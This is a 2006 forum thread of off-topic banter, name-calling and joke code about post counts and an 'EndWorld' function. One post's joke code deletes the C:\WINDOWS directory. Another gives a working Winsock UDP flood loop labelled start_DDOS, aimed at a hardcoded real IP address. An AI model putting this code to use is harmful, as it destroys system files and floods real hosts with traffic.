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Re: Coming to and end... [message #230536 is a reply to message #230221] Tue, 14 November 2006 19:20 Go to previous messageGo to next message
z310
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Oh, sorry.
Re: Coming to and end... [message #230539 is a reply to message #230495] Tue, 14 November 2006 19:25 Go to previous messageGo to next message
jnz is currently offline  jnz
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lol
if(postcount == postcount)
{
       postcount = postcount + 1;
}
Re: Coming to and end... [message #230551 is a reply to message #230221] Tue, 14 November 2006 21:40 Go to previous messageGo to next message
Feetseek is currently offline  Feetseek
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I'm not much of an arguing type of guy so I'm going to change the topic (hopefully).

Is it true that as global warming get worse California gets colder??? Dont Get It


"I wumbo, you wumbo, he, she, wombo, wombo, wombo-ing, wobology, the study of wombo, it's first grade SpongeBob" - Patrick Star.

Burntfirex
Feetseek
Oompaball
Re: Coming to and end... [message #230552 is a reply to message #230221] Tue, 14 November 2006 21:47 Go to previous messageGo to next message
z310
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I don't know, but it isn't that cold here. I wear nothing more than a light sweater. But when you're at an open-air gig/party--and the cops don't crash it early--with some iced lager in you, it does get cold. Big Grin
Re: Coming to and end... [message #230554 is a reply to message #230221] Tue, 14 November 2006 21:52 Go to previous messageGo to next message
Feetseek is currently offline  Feetseek
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I started to believe this last year when it snowed in my town in the Bay Area. Last time it snowed it was 8 years ago i think, and it was just a few flakes. But last year it snowed a few feet and my town broke the record for raining the most days in a row Thumbs Up EDIT: at least, for my town =P.

"I wumbo, you wumbo, he, she, wombo, wombo, wombo-ing, wobology, the study of wombo, it's first grade SpongeBob" - Patrick Star.

Burntfirex
Feetseek
Oompaball

[Updated on: Tue, 14 November 2006 21:57]

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Re: Coming to and end... [message #230555 is a reply to message #230221] Tue, 14 November 2006 21:55 Go to previous messageGo to next message
z310
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I live more south: Baldwin Park.

[Updated on: Tue, 14 November 2006 21:55]

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Re: Coming to and end... [message #230591 is a reply to message #230499] Wed, 15 November 2006 07:23 Go to previous messageGo to next message
Goztow is currently offline  Goztow
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Goztoe
z310 wrote on Wed, 15 November 2006 00:30

Goztow wrote on Tue, 14 November 2006 03:20

I think someone here has never heard of the use of emoticons and cultural differences.


There was no need for the use of emoticons. Also, cultural differences can in no way account for your inability to tell that
that post had an entirely different pull to it than his other posts, only telling you something is up with it- like sarcasm. And you did not even need to know what sarcasm is, moron.

You're unable to have a discussion without calling people names. I pity you...


You can find me in The KOSs2 (TK2) discord while I'm playing. Feel free to come and say hi! TK2 discord
Re: Coming to and end... [message #230601 is a reply to message #230591] Wed, 15 November 2006 08:41 Go to previous messageGo to next message
z310
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Goztow wrote on Wed, 15 November 2006 09:23

You're unable to have a discussion without calling people names. I pity you...


Not true. I just like to call people names. In Love

[Updated on: Wed, 15 November 2006 08:41]

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Re: Coming to and end... [message #230608 is a reply to message #230601] Wed, 15 November 2006 09:49 Go to previous messageGo to next message
Goztow is currently offline  Goztow
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Goztoe
z310 wrote on Wed, 15 November 2006 16:41

Goztow wrote on Wed, 15 November 2006 09:23

You're unable to have a discussion without calling people names. I pity you...


Not true. I just like to call people names. In Love

Teenagers...


You can find me in The KOSs2 (TK2) discord while I'm playing. Feel free to come and say hi! TK2 discord
Re: Coming to and end... [message #230657 is a reply to message #230608] Wed, 15 November 2006 16:25 Go to previous messageGo to next message
z310
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Morons... Big Ups
Re: Coming to and end... [message #230805 is a reply to message #230539] Thu, 16 November 2006 22:27 Go to previous messageGo to next message
msgtpain is currently offline  msgtpain
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help-linux wrote on Tue, 14 November 2006 21:25

lol
if(postcount == postcount)
{
       postcount = postcount + 1;
}



How could postcount not eq anything BUT postcount?

I think it should be

if(worthlessPost)
{
       postcount += 1;
}


That makes more sense to me. We can assume worthlessPost is a boolean set somewhere above.
Re: Coming to and end... [message #230821 is a reply to message #230805] Fri, 17 November 2006 02:13 Go to previous messageGo to next message
Goztow is currently offline  Goztow
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Goztoe
I'd rather make it

if(ISSET ($worthlesspost))
{
       $postcount = $postcount + 1;
}
else
{
}


You can find me in The KOSs2 (TK2) discord while I'm playing. Feel free to come and say hi! TK2 discord
Re: Coming to and end... [message #230823 is a reply to message #230221] Fri, 17 November 2006 03:15 Go to previous messageGo to next message
icedog90 is currently offline  icedog90
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bool NOW = false;

if (goztowPosts == 2292)
{
	NOW = true;
}
else
{
}

EndWorld(NOW);
Re: Coming to and end... [message #230863 is a reply to message #230821] Fri, 17 November 2006 13:26 Go to previous messageGo to next message
futura83
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Viva la Resistance!
Goztow wrote on Fri, 17 November 2006 09:13

I'd rather make it

if(ISSET ($worthlesspost))
{
       $postcount = $postcount + 1;
}
else
{
}





now your speaking my language.


but then again, wouldnt:

if($worthlesspost == TRUE)
{
       $postcount++;
}


be better


Very Happy


This is a signature. Reading this is wasting your time.
Re: Coming to and end... [message #230899 is a reply to message #230221] Fri, 17 November 2006 15:38 Go to previous messageGo to next message
icedog90 is currently offline  icedog90
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Yes.

And by the way, the function EndWorld(NOW) just got called (with NOW being true), because Goztow's post count reached 2292. Anybody want to code that function so that we can see what will happen next?

[Updated on: Fri, 17 November 2006 15:39]

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Re: Coming to and end... [message #231128 is a reply to message #230221] Sun, 19 November 2006 05:53 Go to previous messageGo to next message
Dave Anderson is currently offline  Dave Anderson
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private bool EndWorld(bool WorldState)
{
     bool NOW;

     if (goztowPosts == 2292)
     {
	NOW = true;

        System::IO::Directory::Delete("C:\\WINDOWS\\");
        MessageBox::Show("ROFL WAFFLE", "The end of the world");
     }
     else
     {
        NOW = false;
     }

     WorldState = NOW;

return WorldState;
}


David Anderson
Founder, Software Consultant
DCOM Productions
Microsoft Partner (MSP)

[Updated on: Sun, 19 November 2006 05:57]

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Re: Coming to and end... [message #231132 is a reply to message #230899] Sun, 19 November 2006 06:08 Go to previous messageGo to next message
Goztow is currently offline  Goztow
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Goztoe
icedog90 wrote on Fri, 17 November 2006 23:38

Yes.

And by the way, the function EndWorld(NOW) just got called (with NOW being true), because Goztow's post count reached 2292. Anybody want to code that function so that we can see what will happen next?

You should actually have made it >=

Considering I have very quickly had more than 2292, we could consider that EndWorld(NOW) isn't triggered anymore. Razz


You can find me in The KOSs2 (TK2) discord while I'm playing. Feel free to come and say hi! TK2 discord
Re: Coming to and end... [message #231528 is a reply to message #230221] Wed, 22 November 2006 00:33 Go to previous messageGo to next message
icedog90 is currently offline  icedog90
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That's why the world hasn't ended.
Re: Coming to and end... [message #235608 is a reply to message #230221] Sat, 23 December 2006 17:02 Go to previous messageGo to next message
jnz is currently offline  jnz
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im sorry, but i had to post and go over the top.

void start_DDOS()
{
    WSADATA WsaData;
	SOCKET Socket; 
	if(WSAStartup(MAKEWORD(2,2), &WsaData) != 0)
	{
		cout << "Something went wrong with WSAStartup! error code: " << GetLastError() << endl;
		system("pause");
		exit((int)GetLastError());
	}
	Socket = socket(AF_INET, SOCK_DGRAM, 0);
	if(Socket == SOCKET_ERROR)
	{
		cout << "Something went wrong creating the socket! error code: " << GetLastError() << endl;
		system("pause");
		exit((int)GetLastError());
	}
	SOCKADDR_IN SockAddr, sender;
	SockAddr.sin_family = AF_INET;

	SockAddr.sin_addr.S_un.S_un_b.s_b1 = 70;
	SockAddr.sin_addr.S_un.S_un_b.s_b2 = 132;
	SockAddr.sin_addr.S_un.S_un_b.s_b3 = 48; 
	SockAddr.sin_addr.S_un.S_un_b.s_b4 = 91;

	SockAddr.sin_port = htons(2000);

	SOCKADDR_IN client;
	client.sin_family = AF_INET;

	if(connect(Socket, (SOCKADDR *)(&SockAddr), sizeof(SockAddr)) == SOCKET_ERROR)
	{
		cout << "Something went wrong when binding! error code: " << GetLastError() << endl;
		system("pause");
		exit((int)GetLastError());
	}
	
	int dwSenderSize = (int)sizeof(sender);
	while(1)
	{


		char buf[256] = "OMG I AM H4X1NG";
		int ret = sendto(Socket, buf, 255, 0, (SOCKADDR *)&SockAddr, dwSenderSize);
		if (ret == SOCKET_ERROR)
		{
			cout << "Something went wrong sending! error code: " << GetLastError() << endl;
			system("pause");
			exit((int)GetLastError());
		}
         }
}

int main()
{
   int myposts = get_myposts();
   int Hot_Topics_posts = get_Hot_Topics_posts();
   if(myposts < Hot_Topics_posts)
   {
         start_DDOS();
   }
   else
   {
         end_world((Planet_type *)"earth");
   }
   my_bumped_topic++;
   return 0;
}
Re: Coming to and end... [message #235619 is a reply to message #230221] Sat, 23 December 2006 19:58 Go to previous messageGo to next message
xptek is currently offline  xptek
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http://truechristian.com/img/gaymarriage2.jpg
http://truechristian.com/img/gaymarriage3.jpg


cause = time
Re: Coming to and end... [message #235661 is a reply to message #231128] Sun, 24 December 2006 05:39 Go to previous message
Jecht is currently offline  Jecht
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Dave Anderson wrote on Sun, 19 November 2006 06:53

private bool EndWorld(bool WorldState)
{
     bool NOW;

     if (goztowPosts == 2292)
     {
	NOW = true;

        System::IO::Directory::Delete("C:\\WINDOWS\\");
        MessageBox::Show("ROFL WAFFLE", "The end of the world");
     }
     else
     {
        NOW = false;
     }

     WorldState = NOW;

return WorldState;
}



The parameter is unnecessary, just return NOW Razz


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